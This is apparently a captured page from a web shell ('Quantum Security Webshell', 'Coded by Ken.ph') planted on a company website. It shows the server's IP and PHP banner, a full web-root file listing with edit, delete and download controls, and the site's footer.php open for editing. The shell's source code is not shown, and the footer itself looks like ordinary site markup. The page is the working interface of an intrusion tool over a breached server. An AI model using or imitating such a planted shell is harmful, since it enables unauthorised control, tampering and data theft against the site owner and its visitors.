QUANTUM SECURITY WEBSHELL
≡
Server IP: 198.38.85.171
Client IP: 216.73.216.150
Server Info: Apache
PHP Version: 8.1.33
Current Path: /var/www/0e42a224-a8c4-422f-9596-709894267d02/public_html
Current Directory:
var
/
www
/
0e42a224-a8c4-422f-9596-709894267d02
/
public_html
/
Name
Size
Actions
..
[DIR]
[Open]
[Delete]
[Rename]
.htaccess
2378 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
.well-known
0 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
Event_test.php
8264 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
about-us.php
14070 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
admin
[DIR]
[Open]
[Delete]
[Rename]
assets
[DIR]
[Open]
[Delete]
[Rename]
blog-inner.php
5043 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
blog.php
15175 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
career-with-us.php
27148 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
class.phpmailer.php
76843 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
class.smtp.php
39906 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
conn.php
718 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
contact-us.php
8558 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
core-products.php
7420 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
cta.php
1199 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
download.php
2537 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
drager-x-node.php
8466 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
email-career.php
8256 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
email-contact.php
9579 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
email-popup_modal.php
8911 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
faqs.php
4413 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
footer.php
24988 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
gallery-photos.php
4397 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
gallery-photos.zip
143482593 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
gallery-video.php
1889 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
gs-bharat_03032026.zip
143417148 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
header.php
25305 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
images
[DIR]
[Open]
[Delete]
[Rename]
index.php
0 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
industries-we-serve.php
6045 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
key-customers.php
5088 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
knowledge-center.php
8707 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
news-event.php
7536 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
news-innernew.php
8466 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
our-product-range.php
10595 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
our-team.php
6075 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
page-not-found.php
1583 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
privacy-policy.php
18267 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
prod.php
16217 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-details-bkp-190424.php
32730 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-details.php
9610 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-details1.php
53879 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-inner-bkp-190423.php
41085 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-inner.php
5163 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-inner2.php
26151 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-items.php
5209 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
product-sub-category.php
18092 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
products-sub-menu.php
4073 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
robots.txt
79 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
services.php
4249 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
solver.txt
38 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
terms-and-condition.php
27028 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
thank-you.php
1673 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
web.config
3176 bytes
[Open]
[Edit]
[Delete]
[Download]
[Rename]
Editing: footer.php
<!-- </main> --> <footer id="footer_Box" class=" footer overflow-hidden"> <div> <div class="container py-5 pb-4 pb-xl-5"> <div class="row"> <div class="col-lg-5 col-lg-4 text-sm-center mb-4 col-xl "> <a href="/"><img src="./assets/img/glosol-logo.png" class="footer_logo" alt=""></a> <div class="footer_social d-flex mt-3 flex-wrap justify-content-sm-center mt-md-4"> <div class="me-1 mb-1 me-sm-2"> <a href="#"><img src="./assets/img/facebook.svg" alt=""></a> </div> <div class="me-1 mb-1 me-sm-2"> <a href="#"><img src="./assets/img/x-logo.svg" alt=""></a> </div> <div class="me-1 mb-1 me-sm-2"> <a href="https://www.linkedin.com/company/globalsolutionsind/" target="_blank"><img src="./assets/img/linkedin.svg" alt=""></a> </div> <div class="me-1 mb-1 me-sm-2"> <a href="#"><img src="./assets/img/whatsapp.svg" alt=""></a> </div> <div> <a href="#"><img src="./assets/img/instagram.svg" alt=""></a> </div> </div> </div> <div class=" col-sm-6 col-lg footer_boxes mb-4 col-xl col-xxl-2"> <div class="h4 worksans_bold text-white mb-3 mb-md-4"> Quick Links</div> <ul class="footer_ul mb-0"> <li><a href="about-us">About Us</a></li> <li><a href="faqs">FAQ's </a></li> <li><a href="career-with-us">Careers with Us</a></li> <li><a href="contact-us">Contact Us</a></li> </ul> </div> <div class=" col-sm-6 col-lg footer_boxes mb-4 col-xl col-xxl-2"> <div class="h4 worksans_bold text-white mb-3 mb-md-4"> Support</div> <ul class="footer_ul mb-0"> <li><a href="#">Privacy Policy</a></li> <!--<li><a href="#">Terms & Conditions </a></li> <li><a href="#">Cookies Policy</a></li> <li><a href="#">Disclaimer </a></li>--> <li><a href="#">Sitemap</a></li> </ul> </div> <div class="col-lg-6 col-lg-12 footer_boxes mb-4 col-xl "> <div class="h4 worksans_bold text-white mb-3 mb-md-4"> Reach Us</div> <div class="h6 text-white mt-2 text_footer_inner worksans_bold">Head Office -</div> <a href="#">SF-10, Shivam Trade center, Manjalpur Atladra Road, Near Khichkoli Circle, Atladara, Vbadodara – 390012</a> <div class="h6 text-white mt-2 text_footer_inner worksans_bold">Registered Address -</div> <a href="#">67, Radheshyam Duplex, Behind Suryadarshan Township, Near Balaji Farm, Manjalpur, Vadodara – 390011</a> <div class="h6 text-white mt-2 text_footer_inner worksans_bold">Email -</div> <a href="mailto:info@gs-bharat.com">info@gs-bharat.com</a> <div class="h6 text-white mt-2 text_footer_inner worksans_bold">Contact-</div><a href="tel:+917574874640"> +91 7574874640</a> </div> </div> </div> </div> <div class="copyright"> <div class="container d-lg-flex col-12 justify-content-center justify-content-lg-between py-2 py-md-4 "> <div class=""> <p class=" mb-0 text-center">Copyright @ Global Solutions, All Right Reserved </p> </div> <div class="copyright_inks "> <p class="mb-0 text-center">Branded by<a href="https://bestow.in" target="_blank" class="font_red"> Bestow</a></p> </div> </div> </div> <div class="progress-wrap cursor-pointer"> <div class="position-relative"> <i class="fa-solid fa-arrow-up up_down_arrow text-white"></i> <svg class="progress-circle svg-content" width="100%" height="100%" viewBox="0 0 102 102" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M51 2.5C63.863 2.5 76.1992 7.60981 85.2947 16.7053C94.3902 25.8008 99.5 38.137 99.5 51C99.5 63.863 94.3902 76.1992 85.2947 85.2947C76.1992 94.3902 63.863 99.5 51 99.5C38.137 99.5 25.8008 94.3902 16.7053 85.2947C7.60981 76.1992 2.5 63.863 2.5 51C2.5 38.137 7.60981 25.8008 16.7053 16.7053C25.8008 7.60981 38.137 2.5 51 2.5Z" style="stroke-dashoffset: 304.735px;"></path> </svg> </div> </div> </footer> <!--<div class="modal fade popup_modal d-block show" id="popup_modal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg modal-dialog-centered"> <div class="modal-content border-0"> <div class="modal-header border-0 text-end"> <button type="button" class="btn text-end ms-auto border-1 border-white text-white" id="popup_modal_close" data-bs-dismiss="modal" aria-label="Close"><i class="fa-solid fa-xmark"></i></button> </div> <div class="modal-body bg-white p-0"> <div class=" mx-auto "> <div class="position-relative cont_form_box p-4"> <div class="h2 mb-4 text-center worksans_bold" style="color:#26589f;">Knowledge Sharing & Training Session on Profibus & Profinet</div> <form class="row popup_modal flex-wrap text-start p-0 d-flex" method="POST" action="email-popup_modal.php" id="popup_modalnew" name="popup_modalnew" enctype="multipart/form-data" novalidate="novalidate"> <div class="mb-3 col-md-6"> <input type="text" class="form-control " name="fname" id="fname" placeholder="Name*" aria-invalid="true"> </div> <div class="mb-3 col-md-6"> <input type="text" id="phone" name="phone" class="form-control " placeholder="Contact Number*"> </div> <div class="mb-3 col-md-6"> <input type="email" class="form-control " name="email" id="email" placeholder="Email Id*"> </div> <div class="mb-3 col-md-6"> <input type="text" class="form-control " name="companyname" id="companyname" placeholder="Company Name*"> </div> <div class="mb-3 col-md-6"> <input type="text" class="form-control " name="designation" id="designation" placeholder="Designation*"> </div> <div class="mb-3 col-md-6"> <input type="text" class="form-control " name="department" id="department" placeholder="Department*"> </div> <div class="mb-3 col-md-6"> <label >Are you a PROFIBUS User </label> <div class="d-flex"> <div class="form-check me-3"> <input class="form-check-input" type="radio" name="profibus" id="flexRadioDefault1" value="Yes"> <label class="form-check-label" for="flexRadioDefault1"> Yes </label> </div> <div class="form-check"> <input class="form-check-input" type="radio" name="profibus" id="flexRadioDefault2" value="No"> <label class="form-check-label" for="flexRadioDefault2"> No </label> </div> </div> </div> <div class="mb-3 col-md-6"> <label >Are you a PROFINET User </label> <div class="d-flex"><div class="form-check me-3"> <input class="form-check-input" type="radio" name="flexRadioDefaultprofinet" id="flexRadioDefaultprofinet1" value="Yes"> <label class="form-check-label" for="flexRadioDefaultprofinet1"> Yes </label> </div> <div class="form-check"> <input class="form-check-input" type="radio" name="flexRadioDefaultprofinet" id="flexRadioDefaultprofinet2" value="No"> <label class="form-check-label" for="flexRadioDefaultprofinet2"> No </label> </div> </div> </div> <div class="mb-3 col-md-6"> <label >Registration Confirmation</label> <div class="d-flex"> <div class="form-check me-3"> <input class="form-check-input" type="radio" name="flexRadioDefaultregconf" id="flexRadioDefaultregconf1" value="Yes"> <label class="form-check-label" for="flexRadioDefaultregconf1"> Yes </label> </div> <div class="form-check"> <input class="form-check-input" type="radio" name="flexRadioDefaultregconf" id="flexRadioDefaultregconf2" value="No"> <label class="form-check-label" for="flexRadioDefaultregconf2"> No </label> </div> </div> </div> <div class="mb-3 col-12"> <div class="form-check"> <input class="form-check-input" type="checkbox" value="" id="flexCheckDefault"> <label class="form-check-label" for="flexCheckDefault"> I agree to receive updates and information about this event via email. </label> </div> </div> <div class="d-flex flex-column flex-sm-row align-items-center justify-content-between"> <div class="g-recaptcha" id="recaptcha" data-sitekey="6LdqDgQqAAAAALwtjDDVyqCrgEOGqpsVfUk26JmD"> </div> <div class="expand_btn_box ms-xl-3 mt-2 mt-lg-0 "> <button type="submit" name="submit1" id="submit1" class="cust_btn btn rounded-0 border_cust_btn px-4 py-2"> Submit </button> </div> </div> </form> </div> </div> </div> </div> </div> </div>--> <div class="modal fade popup-inq" id="inquire-now" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg modal-dialog-centered"> <div class="modal-content border-0"> <div class="modal-header border-0 text-end"> <button type="button" class="btn text-end ms-auto border-1 border-white text-white" data-bs-dismiss="modal" aria-label="Close"><i class="fa-solid fa-xmark"></i></button> </div> <div class="modal-body bg-white p-0"> <div class=" mx-auto "> <div class="position-relative cont_form_box p-4"> <div class="h2 mb-4 text-center worksans_bold">INQUIRY NOW</div> <form class="row contact_form text-start" method="POST" action="email-contact.php" id="contact_form" enctype="multipart/form-data" novalidate="novalidate"> <div class="mb-3 col-md-6"> <input type="text" class="form-control " name="fname" id="fname" placeholder="First Name*" aria-invalid="true"> </div> <div class="mb-3 col-md-6"> <input type="text" class="form-control " name="lname" id="lname" placeholder="Last Name*" aria-invalid="true"> </div> <div class="mb-3 col-md-6"> <input type="email" class="form-control " name="email" id="email" placeholder="Email Id*"> </div> <div class="mb-3 col-md-6"> <input type="text" id="phone" name="phone" class="form-control " placeholder="Contact Number*"> </div> <div class="mb-3 col-12"> <select class="form-select" aria-label="Default select example" name="selectOption" id="selectOption"> <option value="">Choose Product</option> <?php $get_1 ="SELECT * FROM product ORDER BY FIELD(product, 'Honeywell', 'Drager', 'UL Group','Eaton','TRUCK','BNF Technology') ASC, product"; $res_1 = mysqli_query($conn,$get_1); foreach ($conn->query($get_1) as $row) {?> <option value="<?php echo $row['product'];?>"><?php echo $row['product'];?></option> <?php } ?> </select> </div> <div class="mb-3 col-12"> <textarea class="form-control " name="message" id="message" placeholder="Message" rows="3" maxlength="250"></textarea> </div> <div class="d-xl-flex col-12 align-items-end justify-content-end"> <div class="g-recaptcha mb-2 mb-xl-0" id="recaptcha" data-sitekey="6LdqDgQqAAAAALwtjDDVyqCrgEOGqpsVfUk26JmD"></div> <div class="expand_btn_box ms-xl-3 mt-2 mt-lg-0 "> <button name="submit" id="submit" type="submit" class="cust_btn btn rounded-0 border_cust_btn px-4 py-2"> Submit </button> </div> </div> </form> </div> </div> </div> </div> </div> </div> <script src="./assets/js/jquery.min.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script> <script src="./assets/js/bootstrap.bundle.min.js" > </script> <script src="./assets/js/swiper-bundle.min.js"></script> <!-- <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"> </script>--> <script src="./assets/js/jquery.validate.min.js" ></script> <script> var swiper = new Swiper(".index_home", { effect: 'fade', navigation: { nextEl: ".swiper-button-next", prevEl: ".swiper-button-prev", }, centeredSlides: true, autoplay: { delay: 3000, // 5 seconds delay between each slide disableOnInteraction: false, // Autoplay will not stop on user interaction }, loop: true, pagination: { el: ".swiper-pagination", clickable: true }, slidesPerView: 1, // Show one slide at a time spaceBetween: 0, // Add space between slides breakpoints: { // When window width is >= 768px 0: { slidesPerView: 1, }, // When window width is >= 992px // // When window width is >= 1200px // 992: { // slidesPerView: 2, // }, // 1399: { // slidesPerView: 3, // }, // 1800: { // slidesPerView: 3, // }, }, }); </script> <script> $(document).ready(function(){ /* $('.popup_modal').modal('show');*/ $(document).ready(function(){ $('#popup_modal_close').on('click', function() { $('.popup_modal').removeClass('d-block'); }); }); }); </script> <!-- move mouse anim --> <!-- move mouse anim --> <!-- lighbox gallery --> <script src="./assets/js/lightgallery.js"></script> <!-- lighbox gallery --> <!-- 3d hover button card --> <!-- <script src="./assets/js/tilt.jquery.js"></script> --> <!-- 3d hover button card --> <!-- swiper slider --> <!-- <script src="https://cdn.jsdelivr.net/npm/swiper@9/swiper-bundle.min.js"></script> --> <!-- swiper slider --> <script src="https://www.google.com/recaptcha/api.js" async defer></script> <!-- <script src="./assets/js/product/classie.js"></script> <script src="./assets/js/product/main.js"></script> <script src="./assets/js/aos.js"></script> --> <script src="./assets/js/sohel.js"></script> <script> /*! * classie v1.0.1 * class helper functions * from bonzo https://github.com/ded/bonzo * MIT license * * classie.has( elem, 'my-class' ) -> true/false * classie.add( elem, 'my-new-class' ) * classie.remove( elem, 'my-unwanted-class' ) * classie.toggle( elem, 'my-class' ) */ /*jshint browser: true, strict: true, undef: true, unused: true */ /*global define: false, module: false */ // (function(window) { // 'use strict'; // // class helper functions from bonzo https://github.com/ded/bonzo // function classReg(className) { // return new RegExp("(^|\\s+)" + className + "(\\s+|$)"); // } // // classList support for class management // // altho to be fair, the api sucks because it won't accept multiple classes at once // var hasClass, addClass, removeClass; // if ('classList' in document.documentElement) { // hasClass = function(elem, c) { // return elem.classList.contains(c); // }; // addClass = function(elem, c) { // elem.classList.add(c); // }; // removeClass = function(elem, c) { // elem.classList.remove(c); // }; // } else { // hasClass = function(elem, c) { // return classReg(c).test(elem.className); // }; // addClass = function(elem, c) { // if (!hasClass(elem, c)) { // elem.className = elem.className + ' ' + c; // } // }; // removeClass = function(elem, c) { // elem.className = elem.className.replace(classReg(c), ' '); // }; // } // function toggleClass(elem, c) { // var fn = hasClass(elem, c) ? removeClass : addClass; // fn(elem, c); // } // var classie = { // // full names // hasClass: hasClass, // addClass: addClass, // removeClass: removeClass, // toggleClass: toggleClass, // // short names // has: hasClass, // add: addClass, // remove: removeClass, // toggle: toggleClass // }; // // transport // if (typeof define === 'function' && define.amd) { // // AMD // define(classie); // } else if (typeof exports === 'object') { // // CommonJS // module.exports = classie; // } else { // // browser global // window.classie = classie; // } // })(window); </script> <!-- <script src="js/dummydata.js"></script> --> <!-- <script src="./navbar/js/main.js"></script> --> <script> // (function() { // var menuEl = document.getElementById('ml-menu'), // mlmenu = new MLMenu(menuEl, { // // breadcrumbsCtrl : true, // show breadcrumbs // // initialBreadcrumb : 'all', // initial breadcrumb text // backCtrl: false, // show back button // // itemsDelayInterval : 60, // delay between each menu item sliding animation // onItemClick: loadDummyData // callback: item that doesn´t have a submenu gets clicked - onItemClick([event], [inner HTML of the clicked item]) // }); // // mobile menu toggle // var openMenuCtrl = document.querySelector('.action--open'), // closeMenuCtrl = document.querySelector('.action--close'); // openMenuCtrl.addEventListener('click', openMenu); // closeMenuCtrl.addEventListener('click', closeMenu); // function openMenu() { // classie.add(menuEl, 'menu--open'); // } // function closeMenu() { // classie.remove(menuEl, 'menu--open'); // } // // simulate grid content loading // var gridWrapper = document.querySelector('.content'); // function loadDummyData(ev, itemName) { // ev.preventDefault(); // closeMenu(); // gridWrapper.innerHTML = ''; // classie.add(gridWrapper, 'content--loading'); // setTimeout(function() { // classie.remove(gridWrapper, 'content--loading'); // gridWrapper.innerHTML = '<ul class="products">' + dummyData[itemName] + '<ul>'; // }, 700); // } // })(); $(document).ready(function(){ // Toggle the collapse when the button is clicked $('.navbar-toggler').click(function(){ $('#navbarToggleExternalContent').collapse('toggle'); }); // Close the menu when clicking outside of it $(document).on('click', function (e) { if (!$(e.target).closest('#navbarToggleExternalContent').length && !$(e.target).closest('.navbar-toggler').length) { $('#navbarToggleExternalContent').collapse('hide'); } }); }); </script> <script> $(document).ready(function() { // Ensure that #popup_modal is correctly attached to the form $("#popup_modalnew").validate({ rules: { fname: { required: true, lettersOnly: true, minlength: 1, maxlength: 50 }, phone: { required: true, digits: true, minlength: 10, maxlength: 10 }, email: { required: true, email: true }, companyname: { required: true }, designation: { required: true }, department: { required: true } }, messages: { fname: { required: "Please enter your First name.", lettersOnly: "Please enter only alphabets." }, phone: { required: "Please enter your phone number.", digits: "Please enter only digits.", minlength: "Please enter at least 10 digits.", maxlength: "Please enter no more than 10 digits." }, email: { required: "Please enter your email address.", email: "Please enter a valid email address." } }, submitHandler: function (form) { var $captcha = $('#recaptcha'); var response = grecaptcha.getResponse(); if (response.length === 0) { alert("Captcha is mandatory"); if (!$captcha.hasClass("error")) { $captcha.addClass("error"); } return false } else { $("#submit1").text("Sending...").attr("disabled", true); form.submit(); } }, }); }); </script> <!-- <script> const overlay = document.getElementById('imageModalOverlay'); const closeBtn = document.getElementById('modalCloseBtn'); function openModal() { overlay.style.display = 'flex'; document.body.style.overflow = 'hidden'; } function closeModal() { overlay.style.display = 'none'; document.body.style.overflow = ''; } window.addEventListener('load', () => { setTimeout(openModal, 2000); }); closeBtn.addEventListener('click', closeModal); overlay.addEventListener('click', (e) => { if (e.target === overlay) closeModal(); }); document.addEventListener('keydown', (e) => { if (e.key === 'Escape') closeModal(); }); </script> --> <script> window.addEventListener('load', () => { setTimeout(() => { const homeModal = new bootstrap.Modal(document.getElementById('homeImageModal')); homeModal.show(); }, 1000); // 5000 ms = 5 seconds }); </script> </body> </html>
Coded by
Ken.ph